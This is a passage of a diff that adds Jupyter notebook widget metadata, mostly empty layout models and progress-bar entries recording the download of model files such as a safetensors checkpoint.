+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5056e439bb4b4bad8b0694c79138424f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "51605e182e344a94a99c50fcaaef17b1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "51890b032fbb48139e11d69850a6db57": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "51b27a7dc0d34dd09b1ea17aba1fb697": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "52403e4bc442416fac24e0880f2a3faf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5248a6e5d8044c53803426afaf2439af": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d50a15bbc94f49c39941bacd8c7b99ba",
+            "placeholder": "​",
+            "style": "IPY_MODEL_a8dcc8f3435a4870a76be1729b003b6f",
+            "value": " 492M/492M [00:06&lt;00:00, 101MB/s]"
+          }
+        },
+        "527478832a8e451ea056c50ee2b241ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "52a201ace1f647059d93e5d9406afee5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "53774d0251ea4e4a884fc265a5ce561b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e116ebfa368d424ca64eea23a82ef959",
+            "max": 489648389,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_2b92efb0492b4af6b50e2d5754212b5c",
+            "value": 489648389
+          }
+        },
+        "54746d0ef2e7453faddcc3b6066def51": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5494938bff7d4c6da3d82f1034404362": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5532a6b6181a4aecbfca636813b661fd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "554525ce609044b68804e97c6b45c510": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0d45fef5bbf447938e7621e77207e1ae",
+            "placeholder": "​",
+            "style": "IPY_MODEL_681be606b86c42fd9cad68e63e2782de",
+            "value": "Fetching 13 files: 100%"
+          }
+        },
+        "55e0a986be424043846c0e863158a1bd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "55f31f27ce954a0c8c0d1e63938c7bc0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_452c129fabca48efa832b81481703bab",
+            "placeholder": "​",
+            "style": "IPY_MODEL_6e327baf7a9144fcaff7c6317d018862",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "55fe364a57aa4eaa93cb93b889d241c5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_978a0bae9c5f4ab7ac45f1f4f870fef0",
+            "placeholder": "​",
+            "style": "IPY_MODEL_233120cc0399483ea17284432feb16d3",
+            "value": " 472/472 [00:00&lt;00:00, 2.36kB/s]"
+          }
+        },
+        "56cc25e58ea3445f9135817143224d2c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "57216de8dfcc4ab78bfb8c41fae856b4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c85b3e0dd20f414181d768cac5c9ab4e",
+              "IPY_MODEL_53774d0251ea4e4a884fc265a5ce561b",
+              "IPY_MODEL_30cdb95dd5d746b1adacaaf823b21b89"
+            ],
+            "layout": "IPY_MODEL_bfd0a68276654b4997b802bc6d47f684"
+          }
+        },
+        "57420a6e093c4de9845db953b8e0269b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_589f9b88c3c746dd9aead96a6ef56fee",
+            "max": 806,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_4bf53145f39644d2bf5c3e31f9f23b1a",
+            "value": 806
+          }
+        },
+        "5837463f803c4c93b91a21d9854ae574": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cb157284f72d428fb786527ce87d11a2",
+            "placeholder": "​",
+            "style": "IPY_MODEL_24030dedd2f24e2cbfa3833249d09810",
+            "value": " 342/342 [00:00&lt;00:00, 4.08kB/s]"
+          }
+        },
+        "5850294bc56d489cb8eb90483f77254e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "58657e2570434d73be122eafb42f490a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "589f9b88c3c746dd9aead96a6ef56fee": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "58c63ae0605a4f1192c52e4306602fd7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5b6fcc006e8b47c4a416e38991201a42": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2caabb6f82ef46ecbda6c0baf215d72a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f1e983f41294422087b5be9a9df11fa3",
+            "value": " 13/13 [00:28&lt;00:00,  2.82s/it]"
+          }
+        },
+        "5c428d2de97f4bc28835ead1f6331e9e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b08e7b6e25c24054ac5b2b18bcb6f2ae",
+            "placeholder": "​",
+            "style": "IPY_MODEL_5532a6b6181a4aecbfca636813b661fd",
+            "value": " 617/617 [00:00&lt;00:00, 4.84kB/s]"
+          }
+        },
+        "5cbe59686c0d475a8e2274ffcb64d992": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5e144bb789054a88a43db4329bb2df05": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5eca9f78607349a9893b0c88f3c53181": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5f012cede7a0405fbb12550072bccbc2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5fc991cde70546d3a665982956cca6b5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2dc4775bcef749b7bbbb3f71d714211c",
+            "max": 541,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_838cb3152f3c48ec814de02def9b75f2",
+            "value": 541
+          }
+        },
+        "600acc1527c4482fb7307f2d423a0a01": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
